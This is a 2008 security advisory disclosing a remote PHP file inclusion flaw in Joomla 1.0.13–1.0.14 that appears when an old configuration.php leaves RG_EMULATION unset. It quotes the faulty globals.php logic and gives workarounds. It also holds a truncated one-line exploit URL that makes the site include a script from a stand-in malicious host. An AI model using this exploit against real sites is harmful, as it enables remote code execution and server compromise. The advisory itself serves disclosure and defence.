Affects: Joomla 1.0.13 - 1.0.14
Vulnerability: (remote) PHP file inclusion possible if old
configuration.php
Date: 14-feb-2008
=20
Introduction:
=20
Remote PHP file inclusion is possible when RG_EMULATION is not defined
in
configuration.php. This is typical when upgrading from an older version,
leaving configuration.php untouched. Furthermore, in PHP,
register_globals
must be 'off', for this exploit to work.
=20
In Joomla >=3D1.0.13, configuration.php-dist disables register_globals
emulation, by defining RG_EMULATION false. In older Joomla versions,
this
was defined in globals.php instead.
=20
Users upgrading, without touching configuration.php (quite typical),
will have RG_EMULATION
unset, resulting in the following vulnerability.
=20
In Revision 7424 of globals.php, the 'configuration.php' file is
included
before registerGlobals() is called, allowing a malicious peer to
override any value set in configuration.php.
=20
Details:
=20
Since revision 7424, globals.php includes 'configuration.php' if
RG_EMULATION is unset, and enables RG_EMULATION by default for 'old
configuration files':
=20
if( defined( 'RG_EMULATION' ) =3D=3D=3D false ) {
if( file_exists( dirname(__FILE__).'/configuration.php' ) ) {
require( dirname(__FILE__).'/configuration.php' );
}
=20
if( defined( 'RG_EMULATION' ) =3D=3D=3D false ) {
// The configuration file is old so default to on
define( 'RG_EMULATION', 1 );
}
}
=20
The registerGlobals function is called *after* having included
'configuration.php':
=20
} else if (ini_get('register_globals') =3D=3D 0) {
// php.ini has register_globals =3D off and emulate =3D on
registerGlobals();
=20
Maliciously set GET variables cause variables set by configuration.php
to be overwritten.
=20
Looking in index.php:
=20
require( 'globals.php' );
require_once( 'configuration.php' );
=20
Since 'configuration.php' was already included by globals.php, the
require_once() won't include the configuration.php again (leaving
"attacker's" values untouched!).
=20
The exploit:
=20
http://joomlasite/index.php?mosConfi.../malhost/php_=
s
cript.txt
=20
Workaround:
=20
In index*.php and administrator/index*.php change:
=20
require_once( 'configuration.php' );
=20
to
=20
require('configuration.php');
=20
Or disable RG_EMULATION by using the line in configuration.php-dist in
configuration.php:
=20
if(!defined('RG_EMULATION')) { define( 'RG_EMULATION', 0 ); } // Off by
default for security

Regards,


Hendrik-Jan Verheij
BWSS B.V.
=20